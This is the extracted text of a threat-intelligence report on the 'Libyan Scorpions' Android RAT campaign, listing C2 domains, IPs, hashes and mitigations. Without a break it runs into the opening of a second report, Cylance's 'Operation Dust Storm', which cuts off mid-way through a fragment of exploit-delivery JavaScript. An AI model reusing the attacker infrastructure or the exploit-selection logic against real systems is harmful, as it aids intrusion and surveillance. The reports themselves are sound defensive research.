"https://www.bellingcat.com/news/uk-and-europe/2015/02/17/ +origin-of-artillery-attacks/." +Cyberkov Co. Ltd. +www.cyberkov.com +info@cyberkov.com +Hunting Libyan Scorpions +Investigating a Libyan Cyber Espionage +Campaign Targeting High-Profile +Influentials +TLP: White +For public distribution +18/September/2016 +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Legal Notice: +This document is intended for public use and distribution. Unauthorized use or reproduction of this document +without referencing Cyberkov is prohibited. +This document has been prepared by Cyberkov Co. Ltd. +Document Control +Document Title +TLP Classification +Document Version +Creation Date +Last Modification Date +Distribution +Reference +Hunting Libyan Scorpions +White +01/September/2016 +18/September/2016 +Public Distribution +PD-001 +Cyberkov Contact Details +Name +Email +Phone Number +Fax Number +Office Number +General query +Cyberkov Media Office +media@cyberkov.com ++965 22445500 ++1 (888) 433-3113 ++965 22445500 +info@cyberkov.com +Trademark +Cyberkov and the Cyberkov logo + are trademarks of Cyberkov Co. Ltd. All other trademarks mentioned in this +document are owned by the mentioned legacy body or organization. The general service conditions of Cyberkov Co. Ltd. +apply to this documentation, unless it is explicitly specified otherwise. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Table of Contents +Document Control ............................................................................................................................................... 1 +Cyberkov Contact Details .................................................................................................................................... 1 +Executive Summary ............................................................................................................................................. 3 +Tactics, Techniques and Procedures (TTPs)......................................................................................................... 4 +Malware Analysis................................................................................................................................................. 6 +Command and Control Communication............................................................................................................ 21 +Sinkhole ......................................................................................................................................................... 21 +Real C2 ........................................................................................................................................................... 24 +Threat Actor and Attribution ............................................................................................................................. 25 +Threat Actors Infrastructure.............................................................................................................................. 29 +To Be Continued + ............................................................................................................................................. 33 +Mitigating Libyan Scorpions Attacks on Android .............................................................................................. 33 +Indicators of Compromise (IOCs) ...................................................................................................................... 33 +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Executive Summary +Libya maybe known in non-stable political system, civil war and militant groups fighting for the land and oil +control but it is definitely not known in cyber malicious activities, cyber espionage and hacking groups. No +parties in Libya before this analysis reported to use cyber attacks, malwares nor recruit hackers to spy on their +rivals. Today we have a different story. +In the past weeks on 6 August 2016, Cyberkov Security Incident Response Team (CSIRT) received a numerous +Android malwares operating in different areas in Libya especially in Tripoli and Benghazi. +The malware spreads very fast using Telegram messenger application in smartphones, targeting high-profile +Libyan influential and political figures. +The malware first discovery was after a highly Libyan influential Telegram account compromised via web +Telegram using IP address from Spain. +The following day, the attackers spread an Android malware binded with legitimate Android application from +the compromised Telegram account to all his contacts pretending it is an important voice message (misspelled +it by +Voice Massege.apk +) which indicates a non-english (maybe an Arabic) attacker. +After spreading the malware, more Android smartphones has been infected using the same technique (via +Telegram) and then repost the malware again and again making a network of victims. +Analysis of this incident led us to believe that this operation and the group behind it which we call Libyan +Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group +whose main objective is intelligence gathering, spying on influentials and political figures and operate an +espionage campaign within Libya. +Also, the analysis of the incident led to the discovery of multiple malwares targeting Android and Windows +machines. +Libyan Scorpions threat actors used a set of methods to hide and operate their malwares. They appear not to +have highly technical skills but a good social engineering and phishing tricks. The threat actors are not +particularly sophisticated, but it is well-understood that such attacks don +t need to be sophisticated in order +to be effective. +Using malwares as weapon in an active warzone such as Libya, make +the victims easy targets for assassination or kidnapping by tracking +their physical locations and monitoring them day and night. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Tactics, Techniques and Procedures (TTPs) +Libyan Scorpions is believed to be a political motivated group targeting a high-level influential and political +figures in multiple cities within Libya. +Libyan Scorpions first compromised a personal Telegram account for a Libyan influential person with +unknown vector. The victim received a push notification from his Telegram app that someone from Spain is +logged into his account: +The victim mistakenly deleted Telegram application from his phone thinking that this is going to stop the +attacker(s). +Second day, the attacker used the victim phone number to spear phish his contacts in Telegram by pretending +that the real person is sending a voice message while the file is actually a malicious APK (Android Package) file. +This APK file targets only Android-based smartphones. Once the new victim click on the APK file, the +application installs itself in the device without any problem and is fully functional. The icon of the application +appears in the Apps menu named (URL Shortener). +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The real malicious code is running in the background as Android service1. +https://developer.android.com/guide/components/services.html +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Malware Analysis +Cyberkov Security Incident Response Team (CSIRT) started analyzing the APK file (malware) and the first step +was to unpack it. +After unpacking with apktool and reading (AndroidManifest.xml) file, it appears that the application is a +malware injected inside a legitimate application having java package name: +de.keineantwort.android.urlshortener. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Searching for the application in Google Play store with that specific package name +(https://play.google.com/store/apps/details?id=de.keineantwort.android.urlshortener) yields: +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The application exists in the store and the Libyan Scorpions hacking group took an instance of the APK and +injected their malware into that legitimate application to spread it. +The real application is created by keineantwort.de and we have verified it from their main website: +Going back to (AndroidManifest.xml) file, the malware register itself as receiver of almost all intents and +request almost all permissions available in Android system! +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The malware can access location, network state, battery status, Bluetooth, camera, capturing audio, +internet, +, etc. +After launching the malicious application for the first time, it checks if the Android device is rooted or not +and if rooted, it asks for root permission. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Carrying on the reverse engineering of the malware, we found a file called +config.json + which is a base64 +encoded json file containing the configuration of the malware and its Command and Control (C2). The +characteristics of the malware ( +a.txt + and +config.json + files) and the functionality of it is very similar to +JSocket and AlienSpy famous Android Remote Access Tools (RATs). +Decoding the +config.json + file using base64 decoder shows that the C2 hostname/domain is: +winmeif.myq-see.com using the port 64631 +Resolving the hostname gives: 41.208.110.46 which is a static Libyan IP address owned by Libya Telecom +and Technology Backbone. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Going back to the domain/hostname used by the Libyan Scorpions hacking group, it appears that myqsee.com is a dynamic DNS service open for the public. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Scrolling down the web page, it is created by Q-See which is a company that sells cameras and it seems that +Q-See published this service to help their customers to connect to their IP cameras regardless of IP changes. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The malware uses RootTools and RootShell components to make root privileged tasks easy in Android. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The picture below showing that the malware is capable of taking pictures from the camera of the +compromised device and upload it to the C2. +The malware begins by implementing a Trust Manager that accepts all certificates so that Libyan Scorpions +hackers are sure no victim left disconnected due to SSL certificates issues. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The malware is able to turn the Android phone into a remote listening bug by opening the Microphone and +recording the audio then send it to the C2. +The malware is able to browse the files and folders stored inside the Android device. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The malware is able to monitor the physical location of the compromised Android device. +The malware is able to get the call logs along with phone numbers, duration and date and time of each call. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The malware is able to read the SMS messages and the list of contacts saved in the device. +Besides, the malware is able to get the phone number, country and network operator name from cellular +towers of the telecom company of the target. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The malware uses Allatori Java Obfuscator to protect the code and make it harder to reverse engineer and it +obviously uses communication protocol based on Java JSON objects encapsulated in SSL connection wrapper. +Again, this behavior and characteristics of the malware is very similar to JSocket and AlienSpy Android RATs. +After finalizing the analysis of the Android malware, Cyberkov uploaded it to VirusTotal to see if it has been +uploaded before and what information we can get from it: +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Cyberkov discovered that the malware has not been uploaded to VirusTotal before and the first sample of +this malware has been uploaded by us. However, 8 out of 54 AntiVirus engines detect it which is a very low +detection rate (15%). Most and major American top Gartner Antivirus companies did not detect it!! +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Command and Control Communication +Cyberkov tried to discover the attacker behind this malicious application by sinkholing the malware and +analyzing the real C2. +Sinkhole +Cyberkov created a fake server simulating the real C2 of the Libyan Scorpions hacking group and sinkholed +the malware to study the behavior of the malware deeply. +Upon connection to the C2, the malware sends a lot of information about the target including: Country, +Malware Path, Local IP Address, RAM, Android Version, Device Name, +, etc. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The fake C2 server is able to send fake commands to the malware and read the reply as well. +Those commands (103, 104 and 105) correspond to the following list of commands defined in the malware: +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Each number corresponds to one command to be done by the malware. For example, the command (111) +uninstalls the real application +URLShortener +Will result in: +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Real C2 +By connecting to the real C2 IP address, Cyberkov found that the malware is really of JSocket/AlienSpy family +of RATs since that family of RATs open the port 1234 with a self-signed certificate of +assylias +According to Shodan, the port (1234) has been spotted open since 12-07-2016 which is 25 days before the +first discovery. +https://www.fidelissecurity.com/sites/default/files/FTA_1019_Ratcheting_Down_on_JSocket_A_PC_and_Android_Thre +at_FINAL.pdf +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Threat Actor and Attribution +Seems like the Libyan Scorpions threat actors are running multiple Android RATs since numerous ports +protected by SSL layer are open in (winmeif.myq-see.com) machine. +Also, the Libyan Scorpions threat actors left phpinfo.php script on the webserver running on port 80 with +useful information that could expose them. Their machine is running Windows 7 Professional Service Pack 1. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Username of the Windows machine is admin. +The computer name of Windows machine is ADMIN. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The Libyan Scorpions threat actors use a Dell laptop and have Skype installed and are setting behind a NAT +and their internal IP address is 192.168.1.16 +The attackers also have a PhpMyAdmin script installed in their machine: +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Cyberkov Security Incident Response Team (CSIRT) tried to brute force the password of the database using +the top most common 100 passwords. Unfortunately, the attempt failed. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +Threat Actors Infrastructure +Going back to the IP address of the attackers (41.208.110.46), it is very important to discover the attackers +infrastructure that maybe used to launch wider attacks using multiple RATs on multiple platforms. +By using Threat Intelligence Platforms and Feeds such as PassiveTotal, Cyberkov was able to discover more +activities and campaigns run by Libyan Scorpions. +The following Heatmap shows that the IP address (41.208.110.46) has been used to launch attacks since +9/9/2015 until the time of writing this report using 5 different hostnames and multiple malicious malwares. +The following table summarizes the list of hostnames used by the attacker(s): +Hostname +Samsung.ddns.me +Wininit.myq-see.com +Winmeif.myq-see.com +Collge.myq-see.com +Sara2011.no-ip.biz +First Seen +26-04-2016 +24-05-2016 +07-08-2016 +09-09-2015 +08-10-2015 +Last Seen +08-09-2016 +22-08-2016 +22-08-2016 +22-08-2016 +08-10-2015 +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +All of the hostnames point to the same C2 IP address used by the attackers (but sara2011.no-ip.biz): +Also, using PassiveTotal, the C2 is connected to 2 more malwares used by the attackers having the following +hashes (MD5): +1738ecf69b8303934bb10170bcef8926 +93ebc337c5fe4794d33df155986a284d +The first hash in the above picture is for the malware +Voice Massege.apk + which we have analyzed already. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The second hash (1738ecf69b8303934bb10170bcef8926) is named (Benghazi.exe) and have detection rate +of 21 out of 56 (37.5%) and has been uploaded first time to VirusTotal on 23-04-2016. +Notice that this malware targets Windows machines and not Android smartphones. It is compiled on 15-042016 and is coded in Visual Basic. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +The third hash (93ebc337c5fe4794d33df155986a284d) is a DroidJack, a malicious attacking platform, +targeting android smartphones. +Also, the name of activities and services contains net.droidjack.server name which makes us sure it is +DroidJack malware. +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +Hunting Libyan Scorpions +To Be Continued +Cyberkov will continue investigating Libyan Scorpions hacking group operating in Libya and will update this +report with a follow-up reports regarding any future cyber activities. +Mitigating Libyan Scorpions Attacks on Android +Cyberkov recommends the following points in order to protect the victims from such malwares: +Update your Android operating system regularly +Install DrWeb Security Space for Android (A leading Russian AntiVirus Company) +Use of DrWeb Telegram Bot (DrWebBot) to scan links and files shared on Telegram chats or groups +Install Zemana Mobile AntiVirus (A leading Turkish AntiMalware and AntiFraud Company) +Never install applications from unknown sources +Use Telegram with Secret Chat feature only +Always verify with your partners when sending and receiving files +Indicators of Compromise (IOCs) +The following table summarizes the list of indicators to detect the malware: +Type +Sha256 +Sha256 +Sha256 +Sha1 +Sha1 +Sha1 +Filename +Filename +Filename +Domain +Domain +Domain +Domain +Domain +Indicator +9d8e5ccd4cf543b4b41e4c6a1caae1409076a26ee74c61c148dffd3ce87d7787 +4e656834a93ce9c3df40fe9a3ee1efcccc728e7ea997dc2526b216b8fd21cbf6 +e66d795d0c832ad16381d433a13a2cb57ab097d90e9c73a1178a95132b1c0f70 +1738ecf69b8303934bb10170bcef8926 +93ebc337c5fe4794d33df155986a284d +1c8a1aa75d514d9b1c7118458e0b8a14 +41096b7f808a91ee773bbba304ea2cd0fa42519d +46d832a9c1d6c34edffee361aca3de65db1b7932 +2e2d1315c47db73ba8facb99240ca6c085a9acbc +Voice Massege.apk +Benghazi.exe +VPN.apk +41.208.110.46 +winmeif.myq-see.com +Wininit.myq-see.com +Samsung.ddns.me +Collge.myq-see.com +Sara2011.no-ip.biz +Tel: +965 22445500 | Fax: +1 (888) 4333113 | Email: info@cyberkov.com | Website: www.cyberkov.com +DUST +STORM +O P E R AT I O N +By Jon Gross and +the Cylance SPEAR + Team +OPERATION DUST STORM +TABLE OF +CONTENTS +Nothing strengthens +authority so much as +silence. +-Leonardo da Vinci +Executive Summary +The Early Days: Spear Phishing +Identity Crisis: Zero-Day Attacks +Into the Future: Japanese Targets +Here and Now: Companies Compromised +Conclusion +Implant Analysis: +Misdat Backdoor (2010-2011) +MiS-Type Hybrid Backdoor (2012) +S-Type Backdoor (2013-2014) +Zlib Backdoor (2014-2015) +Appendix +EXECUTIVE SUMMARY +Cylance SPEAR has uncovered +a long-standing persistent +threat targeting numerous +major industries spread across +Japan, South Korea, the United +States, Europe, and several other +Southeast Asian countries. +The Early Days: Spear Phishing +The earliest indications of the group +s activities stem +from the compile times of the executable resource +section of Misdat samples. All of the early backdoor +samples were compiled using a version of Delphi which +notoriously mangles the compilation timestamp of +the file to June 19, 1992 22:22:17 UTC. By using the +executable resource section timestamp, SPEAR was +able to more accurately gauge the actual compile +times of these samples, and traced one of them, +"bc3b36474c24edca4f063161b25bfe0c90b378b9c19c +to January 2010.1 +Power comes in many forms +Our research indicates Operation Dust Storm has been +operational since at least early 2010, and has employed +a number of different operational techniques, including +spear phishing, waterholes, and zero-day exploits over +time. Several antivirus companies initially detected +early backdoor samples under the moniker Misdat, but +the group has quietly evolved over the years to remain +undetected and highly effective. +Attack telemetry in 2015 indicates the Dust Storm +group has migrated from more traditional government +and defense-related intelligence targets to exclusively +seek out organizations involved in Japanese critical +infrastructure and resources. +The group recently compromised a wide breadth of +victims across the following industry verticals: electricity +generation, oil and natural gas, finance, transportation, +and construction. SPEAR +s current research indicates +the group +s present focus has shifted to specifically +and exclusively target Japanese companies or Japanese +subdivisions of larger foreign organizations. +During analysis of older command and control infrastructure, there were several domains that resolved to known malicious IP addresses in +September 2009. However, SPEAR was not able to corroborate these dates in any known malware samples. +OPERATION DUST STORM +Very little public information was available throughout +2010 on this threat, despite the group +s primary +backdoor gaining some level of prominence in targeted +Asian attacks. This may be explained by the group +s early +reliance on Dynamic DNS domains for their command and +control (C2) infrastructure, as well as their use of public +RATs like Poison Ivy and Gh0st RAT for second-stage +implants. The actors relied heavily on the free Dynamic +DNS providers No-IP (http://www.noip.com), Oray (http:// +www.oray.com/) and 3322 (http://www.pubyun.com/) +for their infrastructure continuing into 2011; the earliest +known backdoors SPEAR identified communicated to +323332.3322.org + and +1stone.zapto.org +It wasn +t until June 2011 that Operation Dust Storm +started to garner some notoriety from a series of +attacks which leveraged an unpatched Internet Explorer +8 vulnerability, CVE-2011-1255, to gain a foothold into +victim networks. In these attacks, a link to the exploit was +sent via a spear phishing email from a purported Chinese +student seeking advice or asking the target a question +following a presentation. Media coverage of these +attacks included +http://www.symantec.com/connect/ +blogs/inside-back-door-attack +, 2 and +http://asec.ahnlab. +com/730 + which named the early backdoor variants +Misdat +The secondary C2 server from Symantec +s writeup was +mentioned in news reports elsewhere as +honeywells.tk +this domain resolved to +111.1.1.66 + during early June +2011. This address is coincidentally the same IP address +that one of the earliest Misdat samples that SPEAR +identified beaconed to during the same timeframe. +A paper published in August 2011 by Ned Moran via Usenix +(https://www.usenix.org/system/files/login/articles/ +105484-Moran.pdf) described in detail an attack by this +threat group during April 2011. The attack was initiated by +a spear phishing email that contained a Word document +embedded with a zero-day Flash exploit (CVE-2011-0611). +The final payload described in the report matched other +confirmed Misdat samples, and beaconed to +msejake.7766. +, which first resolved to +125.46.42.221 +, then later to +218.106.246.220 + at the time of the attack. +As to other documented cases, the attacker started +interacting with the infected machine within minutes +of compromise to begin manual network and host +enumeration. +In October 2011, the group attempted to take advantage +of the ongoing Libyan crisis at the time and phish the news +cycle regarding Muammar Gaddafi +s death on October +20, 2011. It appears that in addition to some US defense +targets, this campaign was also directed at a Uyghur +mailing list. This time, the group used a specially crafted +malicious Windows Help (.hlp) file, which exploited CVE2010-1885. The hlp files, when opened, would execute +a piece of JavaScript code via +mshta.exe +, which in turn +launched a second piece of Visual Basic Script using the +Windows scripting host. This secondary piece of VBS +code was then responsible for decoding the payload from +the body of the hlp file and executing it. +The first stage payloads used in these attacks were +Misdat variants stored base64 encoded within the hlp +file. The samples SPEAR identified both communicated +to the domain +msevpn.3322.org +, which resolved to the +IP address +218.106.246.195 + at that time. Pivoting off +of this IP address yielded several additional dynamic DNS +domains that were used for command and control, as +well as several standard domains that were used by the +group from May 2010 up until December 2015. +Registration Email Address +Domain Name +Date First Registered +wkymyx (at) 126.com +amazonwikis.com +April 21, 2010 +wkymyx (at) 126.com +sfcorporation.com +May 5, 2010 +wkymyx (at) 126.com +adobeus.com +June 8, 2011 +duomanmvp (at) 126.com +adobekr.com +May 30, 2010 +duomanmvp (at) 126.com +moviestops.com +June 7, 2011 +duomanmvp (at) 126.com +moviestops.com +December 17, 2012 +Early infrastructure for the 2010-2011 timeframe used +by the group relied heavily on two email addresses, +"wkymyx (at) 126.com + and +duomanmvp (at) 126.com +for domain registration. +The attackers typically used either seemingly random +four-character subdomains or common words like image, +blog, ssl, pic, mail, news, etc. There was also evidence to +suggest this group attempted to gather user credentials +for Yahoo, Windows Live and other accounts through +several different phishing domains during July and +August 2011. +While SPEAR was unable to recover the original pages +served, the domains these pages were hosted on +are: +login.live.adobekr.com +login.live.wih365.com +and +yahoomail.adobeus.com +. Individual IP address +resolutions for each of the domains were generally shortlived, with none of them lasting more than a month. +Identity Crisis: Zero-Day Attacks +SPEAR identified another Operation Dust Storm campaign +in June 2012 that leveraged both CVE-2011-0611, a +Flash exploit the group had used previously, and CVE2012-1889, an Internet Explorer zero-day. The attackers +used the domain +mail.glkjcorp.com + to deliver the +exploits, and the domain was hosted on the IP address +114.108.150.38 + at the time of the attack. SPEAR was +unable to definitively tie this particular exploit site to a +watering hole or phishing campaign, however, numerous +other CN-APT operators leveraged the Internet Explorer +zero-day during the same period using both techniques. +The exploit domain +glkjcorp.com + was registered shortly +before the attack on May 24, 2012. Two different emails +were used in the registration of this domain: +effort09 (at) +hotmail.com + and +zaizhong16 (at) 126.com +This attack was the first to use the file +DeployJava. + to fingerprint installed software on victim systems +prior to delivery and ensure a known effective exploit +was deployed. This JavaScript file was first used +and documented by Ahnlab a month earlier in the +Gong Da Exploit Kit: http://www.ahnlab.com/kr/site/ +securityinfo/secunews/secuNewsView.do?menu_ +dist=2&seq=19418. The +DeployJava.js + worked in +conjunction with another script embedded in the exploit +page, to deliver the Flash exploit if the version of IE was +8 or 9 or deliver the IE zero-day if the version of IE was +6 or 7. +if (((i9> -1) ||(i8> -1))&&w7>-1&&ja){ +flash.Movie = vars; +else if((i8>-1)&&(xp>-1)){ +flash.Movie = vars; +else if((i6>-1||i7>-1)&&(xp>-1)){ +document.body.innerHTML+= +<\/object> +setTimeout( +document.body.innerHTML+=\ +